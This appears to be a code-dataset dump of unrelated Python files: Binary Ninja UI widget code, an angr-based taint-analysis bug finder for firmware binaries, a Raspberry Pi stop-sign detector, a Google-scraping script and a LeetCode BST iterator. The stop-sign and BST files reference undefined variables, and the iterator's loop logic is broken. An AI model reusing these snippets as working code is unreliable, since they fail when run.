MemoryView\n\nRW = None\nMW = None\n\ndef _get_registerview_widget(name, parent, data):\n global RW\n if RW is not None:\n return RW\n RW = RegisterView(parent, name, data)\n RW.setEnabled(False)\n return RW\n\ndef _get_memoryview_widget(name, parent, data):\n global MW\n if MW is not None:\n return MW\n MW = MemoryView(parent, name, data)\n MW.setEnabled(False)\n return MW\n\ndef _registerDynamicWidgets():\n mw = QApplication.allWidgets()[0].window()\n dock_handler = mw.findChild(DockHandler, '__DockHandler')\n dock_handler.addDockWidget (\n \"SENinja Registers\",\n _get_registerview_widget,\n Qt.RightDockWidgetArea,\n Qt.Vertical,\n False\n )\n dock_handler.addDockWidget (\n \"SENinja Memory\",\n _get_memoryview_widget,\n Qt.BottomDockWidgetArea,\n Qt.Horizontal,\n False\n )\n\ndef enable_widgets():\n assert RW is not None\n assert MW is not None\n\n RW.setEnabled(True)\n MW.setEnabled(True)\n\ndef disable_widgets():\n assert RW is not None\n assert MW is not None\n\n RW.setEnabled(False)\n MW.setEnabled(False)\n\ndef ui_set_arch(arch, state):\n assert RW is not None\n assert MW is not None\n RW.init(arch, state)\n MW.init(arch, state)\n\ndef ui_sync_view(state, delta=True):\n assert RW is not None\n assert MW is not None\n if RW.isVisible():\n RW.set_reg_values(state)\n if MW.isVisible():\n if delta:\n MW.update_mem_delta(state)\n else:\n MW.update_mem(state)\n\ndef ui_reset_view():\n assert RW is not None\n assert MW is not None\n\n RW.reset()\n MW.reset()\n\n_registerDynamicWidgets()\n","sub_path":"ui/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"169170668","text":"import logging\nimport time\nimport angr\nimport simuvex\n\nimport size_analysis\nfrom bar_logger import bar_logger\nfrom binary_dependency_graph.binary_dependency_graph import BinaryDependencyGraph, Role, RoleInfo\nfrom binary_dependency_graph.utils import get_ord_arguments_call, get_any_arguments_call, are_parameters_in_registers, \\\n get_mem_string, STR_LEN, get_memcpy_like, get_sizeof_like, get_heap_alloc, get_env, get_memcmp_like_unsized, \\\n get_memcmp_like_sized, get_dyn_sym_addr, find_memcpy_like, get_reg_used, get_addrs_similar_string, \\\n get_indirect_str_refs, get_atoi\nfrom taint_analysis import coretaint, summary_functions\nfrom taint_analysis.coretaint import TimeOutException\nfrom taint_analysis.utils import get_arity, link_regs, ordered_argument_regs\nfrom utils import *\n\nangr.loggers.disable_root_logger()\nangr.logging.disable(logging.ERROR)\n\nsummary_functions.simplify_memcpy = True\n\nlog = logging.getLogger(\"BugFinder\")\nlog.setLevel(\"DEBUG\")\n\n\nclass BugFinder:\n def __init__(self, config, bdg, analyze_parents=True, analyze_children=True, logger_obj=None):\n global log\n\n if logger_obj:\n log = logger_obj\n\n self._config = config\n self._bdg = bdg\n self._ct = None\n self._current_seed_addr = None\n self._current_p = None\n self._current_max_size = 0\n self._current_role_info = {\n RoleInfo.ROLE: Role.UNKNOWN,\n RoleInfo.DATAKEY: '',\n RoleInfo.CPF: None,\n RoleInfo.X_REF_FUN: None,\n RoleInfo.CALLER_BB: None,\n RoleInfo.ROLE_FUN: None,\n RoleInfo.ROLE_INS: None,\n RoleInfo.ROLE_INS_IDX: None,\n RoleInfo.COMM_BUFF: None,\n RoleInfo.PAR_N: None\n }\n\n self._analyze_parents = analyze_parents\n self._analyze_children = analyze_children\n self._analysis_starting_time = None\n self._taint_names_applied = []\n self._sink_addrs = []\n self._current_cfg = None\n self._raised_alert = False\n self._report_alert_fun = None\n\n # stats\n self._stats = {}\n self._visited_bb = 0\n self._current_cpf_name = 'Unknown'\n self._start_time = None\n self._end_time = None\n self._report_stats_fun = None\n\n @property\n def stats(self):\n return self._stats\n\n def _apply_taint(self, addr, current_path, next_state, taint_key=False):\n \"\"\"\n Applies the taint to the role function call\n\n :param addr: address of the role function\n :param current_path: current angr's path\n :param next_state: state at the entry of the function\n :param taint_key: taint the used data key\n :return:\n \"\"\"\n\n def is_arg_key(arg):\n return hasattr(arg, 'args') and type(arg.args[0]) in (int, long) and arg.args[0] == self._current_seed_addr\n\n p = self._current_p\n ins_args = get_ord_arguments_call(p, addr)\n if not ins_args:\n ins_args = get_any_arguments_call(p, addr)\n\n if not are_parameters_in_registers(p):\n raise Exception(\"Parameters not in registers: Implement me\")\n\n for stmt in ins_args:\n reg_off = stmt.offset\n reg_name = p.arch.register_names[reg_off]\n val_arg = getattr(next_state.regs, reg_name)\n size = None\n if is_arg_key(val_arg):\n if not taint_key:\n continue\n n_bytes = p.loader.memory.read_bytes(val_arg.args[0], STR_LEN)\n size = len(get_mem_string(n_bytes)) * 8\n if val_arg.concrete and val_arg.args[0] < p.loader.main_object.min_addr:\n continue\n log.info('taint applied to %s:%s' % (reg_name, str(val_arg)))\n self._ct.apply_taint(current_path, val_arg, reg_name, size)\n\n def _get_function_summaries(self):\n \"\"\"\n Set and returns a dictionary of function summaries\n :return: function summaries\n \"\"\"\n\n p = self._current_p\n\n mem_cpy_summ = get_memcpy_like(p)\n size_of_summ = get_sizeof_like(p)\n heap_alloc_summ = get_heap_alloc(p)\n env_summ = get_env(p)\n memcmp_like_unsized = get_memcmp_like_unsized(p)\n memcmp_like_sized = get_memcmp_like_sized(p)\n atoi_like = get_atoi(p)\n\n summaries = mem_cpy_summ\n summaries.update(size_of_summ)\n summaries.update(heap_alloc_summ)\n summaries.update(env_summ)\n summaries.update(memcmp_like_unsized)\n summaries.update(memcmp_like_sized)\n summaries.update(atoi_like)\n return summaries\n\n def _get_initial_state(self, addr):\n \"\"\"\n Sets and returns the initial state of the analysis\n\n :param addr: entry point\n :return: the state\n \"\"\"\n\n p = self._current_p\n s = p.factory.blank_state(\n remove_options={\n simuvex.o.LAZY_SOLVES\n }\n )\n\n lr = p.arch.register_names[link_regs[p.arch.name]]\n setattr(s.regs, lr, self._ct.bogus_return)\n\n s.ip = addr\n return s\n\n def _find_sink_addresses(self):\n \"\"\"\n Sets the sink addresses in the current binary's project\n\n :return: None\n \"\"\"\n\n p = self._current_p\n\n self._sink_addrs = [(get_dyn_sym_addr(p, func[0]), func[1]) for func in SINK_FUNCS]\n self._sink_addrs += [(m, sinks.memcpy) for m in find_memcpy_like(p)]\n\n def _jump_in_sink(self, current_path):\n \"\"\"\n Checks whether a basic block contains a jump into a sink\n\n :param current_path: angr current path\n :return: True if the basic block contains a jump into a sink, and the Sink. False and None otherwise\n \"\"\"\n\n if self._current_p.loader.find_object_containing(current_path.active[0].addr) != \\\n self._current_p.loader.main_object:\n return False, None\n\n next_path = current_path.copy(copy_states=True).step()\n try:\n for entry in self._sink_addrs:\n if next_path.active[0].addr == entry[0]:\n return True, entry[1]\n except:\n log.error(\n \"Unable to find successors for %s, perhaps uncontrainted call?\" % hex(current_path.active[0].addr))\n return False, None\n\n def _is_sink_and_tainted(self, current_path):\n \"\"\"\n Checks if the current basic block contains a call to a sink and uses tainted data\n\n :param current_path: angr current path\n :return: The sink if the basic block contains a call to a sink and uses tainted data, False otherwise\n \"\"\"\n\n p = self._current_p\n\n is_sink, check_taint_func = self._jump_in_sink(current_path)\n if not is_sink:\n return False\n plt_path = current_path.copy(copy_states=True).step()\n return check_taint_func(p, self._ct, plt_path, size_con=self._current_max_size)\n\n def _is_any_taint_var_bounded(self, guards_info):\n \"\"\"\n Checks whether tainted data is bounded\n\n :param guards_info: guards info (ITE)\n :return: True if bounded (False otherwise), and the tainted data.\n \"\"\"\n if not guards_info:\n return False, None\n\n bounded = False\n tainted = None\n last_guard = guards_info[-1][1]\n if last_guard.op in ('__eq__', '__le__', '__ne__', 'SLE', 'SGT', '__ge__'):\n op1 = last_guard.args[0]\n op2 = last_guard.args[1]\n if (self._ct.is_tainted(op1) and not self._ct.is_tainted(op2)) or \\\n (self._ct.is_tainted(op2) and not self._ct.is_tainted(op1)):\n\n # First check if the var si a constant and NULL, as they are mostly used to check whether an address\n # is not NUll.\n\n if self._ct.is_tainted(op1):\n tainted = op1\n var = op2\n else:\n tainted = op2\n var = op1\n\n if last_guard.op in ('__eq__', '__ne__') and var.concrete and var.args[0] == 0:\n return False, None\n\n # Then check whether is un-tainting the whole memory region or just a part of it\n # FIXME: do soemthing better\n bounded = True\n for c in tainted.recursive_children_asts:\n if self._ct.is_tainted(c):\n if c.op == 'BVS':\n break\n if c.op == 'Extract':\n bounded = False\n break\n return bounded, tainted\n\n def is_address(self, val):\n \"\"\"\n Checks if value is a valid address.\n\n :param val: value\n :return: True if value is a valid address\n \"\"\"\n\n p = self._current_p\n if val.concrete and val.args[0] < p.loader.main_object.min_addr:\n return False\n return True\n\n def bv_to_hash(self, v):\n \"\"\"\n Calculates the hash of a bitvector\n\n :param v: bit vector\n :return: hash\n \"\"\"\n\n args_str = map(str, v.recursive_leaf_asts)\n new_v_str = ''\n for a_str in args_str:\n if '_' in a_str:\n splits = a_str.split('_')\n a_str = '_'.join(splits[:-2] + splits[-1:])\n new_v_str += a_str\n return new_v_str\n\n def is_tainted_by_us(self, tainted_val):\n \"\"\"\n Checks if a variable is tainted by us, or the results of the taint propagation\n\n :param tainted_val: variable\n :return: True if tainted by us, False otherwise\n \"\"\"\n\n hash_val = self.bv_to_hash(tainted_val)\n if hash_val in self._taint_names_applied:\n return True\n return False\n\n def _check_sink(self, current_path, guards_info, *_, **__):\n \"\"\"\n Checks whether the taint propagation analysis lead to a sink, and performs the necessary actions\n :param current_path: angr current path\n :param guards_info: guards (ITE) information\n :return: None\n \"\"\"\n\n try:\n current_state = current_path.active[0]\n current_addr = current_state.addr\n cfg = self._current_cfg\n\n self._visited_bb += 1\n\n next_path = current_path.copy(copy_states=True).step()\n info = self._current_role_info\n # check constant comparisons and untaint if necessary\n bounded, var = self._is_any_taint_var_bounded(guards_info)\n if bounded:\n self._ct.do_recursive_untaint(var, current_path)\n\n # If the taint is not applied yet, apply it\n if not self._ct.taint_applied and current_addr == info[RoleInfo.CALLER_BB]:\n next_state = next_path.active[0]\n self._apply_taint(current_addr, current_path, next_state, taint_key=True)\n\n try:\n if len(next_path.active) and self._config['eg_souce_addr']:\n if next_path.active[0].addr == int(self._config['eg_souce_addr'], 16):\n next_state = next_path.active[0]\n self._apply_taint(current_addr, current_path, next_state, taint_key=True)\n except TimeOutException as to:\n raise to\n except:\n pass\n\n if self._is_sink_and_tainted(current_path):\n delta_t = time.time() - self._analysis_starting_time\n self._raised_alert = True\n name_bin = self._ct.p.loader.main_object.binary\n self._report_alert_fun('sink', name_bin, current_path, current_addr,\n self._current_role_info[RoleInfo.DATAKEY],\n pl_name=self._current_cpf_name, report_time=delta_t)\n\n # tainted call address and tainted parameters\n bl = self._current_p.factory.block(current_addr)\n if not len(next_path.active) and len(next_path.unconstrained) and bl.vex.jumpkind == 'Ijk_Call':\n cap = bl.capstone.insns[-1]\n vb = bl.vex\n reg_jump = cap.insn.op_str\n val_jump_reg = getattr(next_path.unconstrained[0].regs, reg_jump)\n if not hasattr(vb.next, 'tmp'):\n return\n val_jump_tmp = next_path.unconstrained[0].scratch.temps[vb.next.tmp]\n\n if not self.is_tainted_by_us(val_jump_reg) and not self.is_tainted_by_us(val_jump_tmp):\n if self._ct.is_or_points_to_tainted_data(val_jump_reg, next_path, unconstrained=True):\n nargs = get_arity(self._current_p, current_path.active[0].addr)\n for ord_reg in ordered_argument_regs[self._current_p.arch.name][:nargs]:\n reg_name = self._current_p.arch.register_names[ord_reg]\n if reg_name == reg_jump:\n continue\n\n reg_val = getattr(next_path.unconstrained[0].regs, reg_name)\n if self._ct.is_or_points_to_tainted_data(reg_val, next_path,\n unconstrained=True) and self.is_address(reg_val):\n delta_t = time.time() - self._analysis_starting_time\n self._raised_alert = True\n name_bin = self._ct.p.loader.main_object.binary\n self._report_alert_fun('sink', name_bin, current_path, current_addr,\n self._current_role_info[RoleInfo.DATAKEY],\n pl_name=self._current_cpf_name, report_time=delta_t)\n\n next_state = next_path.unconstrained[0]\n hash_val = self.bv_to_hash(val_jump_tmp)\n self._taint_names_applied.append(hash_val)\n hash_val = self.bv_to_hash(val_jump_reg)\n self._taint_names_applied.append(hash_val)\n self._apply_taint(current_addr, current_path, next_state)\n\n # eventually if we are in a loop guarded by a tainted variable\n next_active = next_path.active\n if len(next_active) > 1:\n history_addrs = [t for t in current_state.history.bbl_addrs]\n seen_addr = [a.addr for a in next_active if a.addr in history_addrs]\n\n if len(seen_addr) == 0:\n return\n\n back_jumps = [a for a in seen_addr if a < current_addr]\n if len(back_jumps) == 0:\n return\n\n bj = back_jumps[0]\n node_s = cfg.get_any_node(bj)\n node_f = cfg.get_any_node(current_addr)\n\n if not node_s or not node_f:\n return\n\n fun_s = node_s.function_address\n fun_f = node_f.function_address\n\n if fun_s != fun_f:\n return\n\n idx_s = history_addrs.index(bj)\n for a in history_addrs[idx_s:]:\n n = cfg.get_any_node(a)\n if not n:\n continue\n\n if n.function_address != fun_s:\n return\n\n # if we have a back-jump satisfiying all the conditions\n cond_guard = [g for g in next_active[0].guards][-1]\n\n if hasattr(cond_guard, 'args') and len(cond_guard.args) == 2 and \\\n self._ct.taint_buf in str(cond_guard.args[0]) and \\\n self._ct.taint_buf in str(cond_guard.args[1]):\n delta_t = time.time() - self._analysis_starting_time\n self._raised_alert = True\n name_bin = self._ct.p.loader.main_object.binary\n self._report_alert_fun('loop', name_bin, current_path, current_addr, cond_guard,\n pl_name=self._current_cpf_name, report_time=delta_t)\n except TimeOutException as to:\n raise to\n except Exception as e:\n log.error(\"Something went terribly wrong: %s\" % str(e))\n\n # FIXME: where did max_size go?\n def _vuln_analysis(self, bdg_node, seed_addr, info, max_size):\n \"\"\"\n Run the analysis for children (i.e, slave binaries)\n\n :param bdg_node: BDG node\n :param seed_addr: address of the seed of taint\n :param info: binary's info\n :return:\n \"\"\"\n\n self._current_p = bdg_node.p\n self._current_cfg = bdg_node.cfg\n self._current_cpf_name = bdg_node.find_cpf_data_key(info[RoleInfo.DATAKEY]).name\n self._current_seed_addr = seed_addr\n self._current_role_info = info\n self._taint_names_applied = []\n self._visited_bb = 0\n self._current_max_size = max_size\n\n ana_start_time = time.time()\n if bdg_node.bin not in self._stats:\n self._stats[bdg_node.bin] = {\n 'n_paths': 0,\n 'ana_time': 0,\n 'visited_bb': 0,\n 'n_runs': 0,\n 'to': 0,\n }\n\n # prepare the under-contrainted-based initial state\n self._ct = coretaint.CoreTaint(self._current_p, interfunction_level=1, smart_call=True,\n follow_unsat=True, black_calls=(info[RoleInfo.ROLE_FUN],),\n try_thumb=True, shuffle_sat=True,\n exit_on_decode_error=True, force_paths=True,\n taint_returns_unfollowed_calls=True, allow_untaint=True,\n logger_obj=log)\n\n summarized_f = self._get_function_summaries()\n s = self._get_initial_state(info[RoleInfo.X_REF_FUN])\n self._find_sink_addresses()\n\n self._ct.set_alarm(TIMEOUT_TAINT, n_tries=TIMEOUT_TRIES)\n try:\n self._ct.run(s, (), (), summarized_f=summarized_f, force_thumb=False, check_func=self._check_sink,\n init_bss=False)\n except TimeOutException:\n log.warning(\"Hard timeout triggered\")\n except Exception as e:\n log.error(\"Something went terribly wrong: %s\" % str(e))\n\n self._ct.unset_alarm()\n\n # stats\n self._stats[bdg_node.bin]['to'] += 1 if self._ct.triggered_to() else 0\n self._stats[bdg_node.bin]['visited_bb'] += self._visited_bb\n self._stats[bdg_node.bin]['n_paths'] += self._ct.n_paths\n self._stats[bdg_node.bin]['ana_time'] += (time.time() - ana_start_time)\n self._stats[bdg_node.bin]['n_runs'] += 1\n\n @staticmethod\n def find_ref_http_strings(n, keywords):\n \"\"\"\n Finds HTTP related strings\n\n :param n: BDG node\n :param keywords: keywords to look for\n :return: None\n \"\"\"\n\n cfg = n.cfg\n p = n.p\n\n # get all the string references we are looking for\n for key_str in keywords:\n strs_info = get_addrs_similar_string(p, key_str)\n for s_info in strs_info:\n str_addr = s_info[1]\n current_string = s_info[0]\n direct_refs = [s for s in cfg.memory_data.items() if s[0] == str_addr]\n indirect_refs = get_indirect_str_refs(p, cfg, [str_addr])\n\n for a, s in direct_refs + indirect_refs:\n if not s.irsb:\n continue\n\n if not BinaryDependencyGraph.is_call(s):\n continue\n\n for (irsb_addr, stmt_idx, insn_addr) in list(s.refs):\n if are_parameters_in_registers(p):\n reg_used = get_reg_used(p, cfg, irsb_addr, stmt_idx, a, [str_addr])\n if not reg_used:\n continue\n\n par_n = ordered_argument_regs[p.arch.name].index(p.arch.registers[reg_used][0])\n\n # in this way we filter out sub-functions (angr's mistakes)\n x_ref_fun = min([f for f in cfg.functions.values() if\n min(f.block_addrs) <= s.irsb_addr <= max(f.block_addrs)],\n key=lambda x: x.addr)\n\n info = {\n RoleInfo.ROLE: n.role,\n RoleInfo.DATAKEY: current_string,\n RoleInfo.CPF: None,\n RoleInfo.X_REF_FUN: x_ref_fun.addr,\n RoleInfo.CALLER_BB: s.irsb_addr,\n RoleInfo.ROLE_FUN: None,\n RoleInfo.ROLE_INS: None,\n RoleInfo.ROLE_INS_IDX: None,\n RoleInfo.COMM_BUFF: None,\n RoleInfo.PAR_N: par_n\n }\n n.add_role_info(s.address, info)\n else:\n log.error(\"_find_str_xref_in_call: arch doesn t use registers to set function parameters.\"\n \"Implement me!\")\n\n def _discover_http_strings(self, strs):\n \"\"\"\n Discover the HTTP strings in the binaries of a BDG\n :param strs: HTTP strings\n :return: None\n \"\"\"\n\n for n in self._bdg.nodes:\n n.clear_role_info()\n log.info(\"Discovering HTTP strings for %s\" % str(n))\n BugFinder.find_ref_http_strings(n, strs)\n log.info(\"Done.\")\n\n def _register_next_elaboration(self):\n \"\"\"\n Register next elaboration with the bar logger\n :return:\n \"\"\"\n\n if log.__class__ == bar_logger.BarLogger:\n log.new_elaboration()\n\n def _setup_progress_bar(self):\n \"\"\"\n Setup the bar logger with the total number of analysis to perform\n :return:\n \"\"\"\n\n if log.__class__ == bar_logger.BarLogger:\n tot_dk = sum([len(x.role_data_keys) for x in self._bdg.nodes])\n etc = tot_dk * TIMEOUT_TAINT * TIMEOUT_TRIES / 2\n log.set_etc(etc)\n log.set_tot_elaborations(tot_dk)\n\n def _analyze(self):\n \"\"\"\n Runs the actual vulnerability detection analysis\n\n :return:\n \"\"\"\n\n roots = [x for x in self._bdg.nodes if x.root]\n worklist = roots\n analyzed_dk = {}\n\n # setup the loading bar\n self._setup_progress_bar()\n self._analysis_starting_time = time.time()\n\n index = 0\n\n # connected graph\n while index < len(worklist):\n parent = worklist[index]\n index += 1\n\n if parent not in analyzed_dk:\n analyzed_dk[parent] = []\n\n # take the node's info and find the size of the\n # buffer(s) used to send data to its children\n sa = size_analysis.SizeAnalysis(parent, logger_obj=log)\n max_size = sa.result\n parent_strings = parent.role_data_keys\n\n # analyze parents\n if self._analyze_parents:\n parent_name = parent.bin.split('/')[-1]\n log.info(\"Analyzing %s\" % parent_name)\n for s_addr, s_refs_info in parent.role_info.items():\n for info in s_refs_info:\n if info in analyzed_dk[parent]:\n continue\n\n analyzed_dk[parent].append(info)\n self._register_next_elaboration()\n log.info(\"New string: %s\" % info[RoleInfo.DATAKEY])\n self._vuln_analysis(parent, s_addr, info, max_size)\n self._report_stats_fun(parent, self._stats)\n\n if self._analyze_children:\n # analyze children\n for child in self._bdg.graph[parent]:\n child_name = child.bin.split('/')[-1]\n log.info(\"Analyzing %s\" % child_name)\n\n if child not in worklist:\n worklist.append(child)\n if child not in analyzed_dk:\n analyzed_dk[child] = []\n for s_addr, s_refs_info in child.role_info.items():\n for info in s_refs_info:\n if info in analyzed_dk[child]:\n continue\n\n if info[RoleInfo.DATAKEY] in parent_strings or parent.could_be_generated(\n info[RoleInfo.DATAKEY]):\n # update the loading bar\n self._register_next_elaboration()\n analyzed_dk[child].append(info)\n log.info(\"New string: %s\" % info[RoleInfo.DATAKEY])\n self._vuln_analysis(child, s_addr, info, max_size)\n self._report_stats_fun(child, self._stats)\n\n if self._analyze_children:\n # orphans\n log.info(\"Analyzing orphan nodes\")\n max_size = size_analysis.MAX_BUF_SIZE\n for n in self._bdg.orphans:\n log.info(\"Analyzing %s\" % n.bin)\n if n not in analyzed_dk:\n analyzed_dk[n] = []\n\n for s_addr, s_refs_info in n.role_info.items():\n for info in s_refs_info:\n if info in analyzed_dk[n]:\n continue\n if self._config['only_string'].lower() == 'true':\n if info[RoleInfo.DATAKEY] != self._config['data_keys'][0][1]:\n continue\n analyzed_dk[n].append(info)\n\n # update the loading bar\n self._register_next_elaboration()\n log.info(\"New string: %s\" % info[RoleInfo.DATAKEY])\n self._vuln_analysis(n, s_addr, info, max_size)\n self._report_stats_fun(n, self._stats)\n\n def analysis_time(self):\n return self._end_time - self._start_time\n\n def run(self, report_alert=None, report_stats=None):\n \"\"\"\n Runs the bug Finder module\n :return:\n \"\"\"\n\n def default_report(*_, **__):\n return None\n\n self._start_time = time.time()\n self._report_alert_fun = default_report if report_alert is None else report_alert\n self._report_stats_fun = default_report if report_stats is None else report_stats\n\n is_multi_bin = True\n fathers = [f for f, c in self._bdg.graph.items() if len(c) != 0]\n orphans = [n for n in self._bdg.nodes if n.orphan]\n\n # FIXME: do this in a cleaner way. Perhaps move it into karonte.py?\n if not fathers and not orphans:\n # Single bin case:\n # let's consider common network strings too\n is_multi_bin = False\n self._discover_http_strings(HTTP_KEYWORDS)\n map(lambda x: x.set_orphan(), self._bdg.nodes)\n\n self._analyze()\n\n if not self._raised_alert and is_multi_bin:\n # let's consider other possible data-keys too\n self._discover_http_strings(HTTP_KEYWORDS)\n self._analyze()\n\n self._end_time = time.time()\n","sub_path":"tool/bug_finder/bug_finder.py","file_name":"bug_finder.py","file_ext":"py","file_size_in_byte":27674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"597318377","text":"\n\n#data = open(\"yesterday\",encoding=\"utf-8\").read()\nf = open(\"yesterday\",'rU',encoding=\"utf-8\") #文件句柄\nfor line in f:\n print(line)\n\n'''\nfor line in f:\n if count == 9:\n print(\"分隔符\")\n count += 1\n continue\n print (line.strip())\n count += 1\n'''","sub_path":"test/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"218468333","text":"import numpy as np\nimport cv2\nfrom picamera.array import PiRGBArray\nfrom picamera import PiCamera\nimport time\nimport RPi.GPIO as GPIO\n\nstop_cascade = cv2.CascadeClassifier('stop_cascade_LBP_work2.xml')\n\n#cap = cv2.VideoCapture(0)\n# initialize the camera and grab a reference to the raw camera capture\ncamera = PiCamera()\ncamera.resolution = (640, 480)\ncamera.framerate = 32\nrawCapture = PiRGBArray(camera, size=(640, 480))\n\nGPIO.setmode(GPIO.BCM)\nTRIG = 4\n\nGPIO.setup(TRIG,GPIO.OUT)\n# allow the camera to warmup\ntime.sleep(0.1)\n\n# capture frames from the camera\nfor frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True):\n # grab the raw NumPy array representing the image, then initialize the timestamp\n # and occupied/unoccupied text\n image = frame.array\n \n gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n #faces = face_cascade.detectMultiScale(gray, 1.3, 5)\n \n # add this\n # image, reject levels level weights.\n stops = stop_cascade.detectMultiScale(gray)\n \n # add this\n for (x,y,w,h) in stops:\n cv2.rectangle(img,(x,y),(x+w,y+h),(255,255,0),2)\n num = len(stops)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(img,str(num),(20,450), font, 2,(255,255,255),2,cv2.LINE_AA)\n if num > 0:\n GPIO.output(TRIG,GPIO.HIGH)\n else:\n GPIO.output(TRIG,GPIO.LOW)\n\n cv2.imshow('img',img)\n k = cv2.waitKey(100) & 0xff\n if k == 27:\n break\n \n # clear the stream in preparation for the next frame\n rawCapture.truncate(0)\n\ncap.release()\ncv2.destroyAllWindows()","sub_path":"stop_detection.py","file_name":"stop_detection.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"37"} +{"seq_id":"232916444","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport urllib\r\nfrom bs4.element import Comment\r\nfrom webdriver_manager.firefox import GeckoDriverManager\r\nfrom mechanize import Browser\r\nimport json\r\n\r\n\r\nmech = Browser()\r\nurl = \"http://www.biggestuscities.com/top-1000\"\r\npage = mech.open(url)\r\nhtml = page.read()\r\nsoup = BeautifulSoup(html, features=\"lxml\")\r\nall_locations = []\r\nfor row in soup.find(\"table\").findAll('a', {'class': 'link'}):\r\n if '/city/' in row['href']:\r\n all_locations.append(row.text.strip())\r\n\r\nlocations = ' office locations '\r\ntag_locations = ' locations '\r\nURL = 'https://www.google.com/search?q='\r\n\r\n\r\ndef tag_visible(element):\r\n if element.parent.name in ['style', 'script', 'head', 'title', 'meta', '[document]']:\r\n return False\r\n if isinstance(element, Comment):\r\n return False\r\n return True\r\n\r\n\r\ndef location_parser(company_name):\r\n url = \"\"\r\n final_list = []\r\n try:\r\n url = BeautifulSoup(requests.get(URL + company_name + locations).content, \"html.parser\").find('div', {'class': 'kCrYT'}).find_all('a')[0]['href']\r\n url = url[7: url.index('&')]\r\n page = BeautifulSoup(requests.get(url).content, \"html.parser\").find_all(text=True)\r\n visible_texts = filter(tag_visible, page)\r\n visible_texts = u\" \".join(t.strip() for t in visible_texts)\r\n for t in all_locations:\r\n if t in visible_texts:\r\n final_list.append(t)\r\n\r\n except:\r\n try:\r\n url = BeautifulSoup(requests.get(URL + company_name + tag_locations).content, \"html.parser\").find('div', {'class': 'kCrYT'}).find_all('a')[0]['href']\r\n url = url[7: url.index('&')]\r\n page = BeautifulSoup(requests.get(url).content, \"html.parser\").find_all(text=True)\r\n visible_texts = filter(tag_visible, page)\r\n visible_texts = u\" \".join(t.strip() for t in visible_texts)\r\n for t in all_locations:\r\n if t in visible_texts:\r\n final_list.append(t)\r\n\r\n except:\r\n print(company_name, \" NOT FOUND!\")\r\n\r\n return url, final_list\r\n\r\n\r\nall_data = {}\r\nwith open('companies') as f:\r\n companies = list(map(lambda x: x.strip(), f.readlines()))\r\n for company in companies[:10]:\r\n career_url, career_locations = location_parser(company)\r\n all_data[company] = {\"Career_URL\": career_url, \"Career_Locations\": career_locations}\r\n\r\nwith open('data.json', 'w') as f:\r\n json.dump(all_data, f)\r\n","sub_path":"locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"354665541","text":"# Definition for a binary tree node\nclass TreeNode:\n\tdef __init__(self, x):\n\t\tself.val = x\n\t\tself.left = None\n\t\tself.right = None\n\nclass BSTIterator:\n\tdef __init__(self, root):\n\n\t\twhile self:\n\t\t\tpass\n\n\tdef iterate(self, node):\n\t\tif not node:\treturn\n\t\tfor v in self.iterate(node.left):\n\t\t\tyield v\n\t\tself.current = node\n\t\tyield node.val\n\t\tfor v in self.iterate(node.right):\n\t\t\tyield v\n\nclass Stack:\n\t# @param root, a binary search tree's root node\n\tdef __init__(self, root):\n\t\tself.stack = []\n\t\twhile root:\n\t\t\tself.stack.append(root)\n\t\t\troot = root.left\n\n\t# @return a boolean, whether we have a next smallest number\n\tdef hasNext(self):\n\t\treturn len(self.stack) > 0\n\n\t# @return an integer, the next smallest number\n\tdef next(self):\n\t\tnode = self.stack.pop()\n\t\tr = node.right\n\t\twhile r:\n\t\t\tself.stack.append(r)\n\t\t\tr = r.left\n\t\treturn result.val\n\n\t\n\n# Your BSTIterator will be called like this:\n# i, v = BSTIterator(root), []\n# while i.hasNext(): v.append(i.next())","sub_path":"LeetCode/Binary Search Tree Iterator/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"36"} +{"seq_id":"235203504","text":"import hashlib\nimport multiprocessing as mp\nimport os\nimport sys\nimport subprocess\nimport time\nfrom itertools import product\nfrom threading import Thread\n\nimport geopandas as gpd\nimport laspy\nimport numpy as np\nfrom PyQt5 import QtCore, QtWidgets\nfrom shapely.geometry import MultiPoint, MultiPolygon, Point, Polygon\n\n#from ..gmlconverter import GUI\n\nclass PointCloud(QtCore.QObject):\n updated = QtCore.pyqtSignal(int)\n guistate = QtCore.pyqtSignal(bool)\n def __init__(self, GUI, fpath, parent = None):\n super(PointCloud, self).__init__(parent)\n self.fpath = fpath\n self.pbar = QtWidgets.QProgressBar()\n self.density = int(GUI.settings.value(\"density\"))\n self.step = str(GUI.settings.value(\"step\"))\n self.subcircle = str(GUI.settings.value(\"subcircle\"))\n self.nodata = str(GUI.settings.value(\"nodata\"))\n self.fill = str(GUI.settings.value(\"fill\"))\n self.min_z = str(GUI.settings.value(\"min_z\"))\n self.min_area = float(GUI.settings.value(\"min_area\"))\n self.no_of_cores = int(GUI.settings.value(\"no_of_cores\"))\n self.calc_folder = GUI.settings.value(\"calc_folder\")\n self.pcfile_type = GUI.settings.value(\"out_format\")\n self.del_pcfile = GUI.settings.value(\"del_pcfiles\")\n self.pointcloud_array = []\n self.calculated = False\n self.pcfile_generated = False\n self.GUI = GUI\n try:\n self.df = gpd.read_file(fpath)\n except Exception as e:\n GUI.statusbar.showMessage(e)\n if self.hash() in GUI._calc_files:\n self.pointcloud_array = np.load(\n os.path.join(GUI.settings.value(\"calc_folder\"), self.hash()) + \".npz\"\n )[self.hash()]\n self.calculated = True\n self.pbar.setValue(100)\n\n def __len__(self):\n return len(self.df)\n\n def _engineWatcher(self):\n while not self.engine.finished:\n self.updated.emit(self.engine.percentage)\n time.sleep(1)\n self.pointcloud_array = np.array(self.engine.result)\n self.engine.dispose()\n self.updated.emit(self.engine.percentage)\n 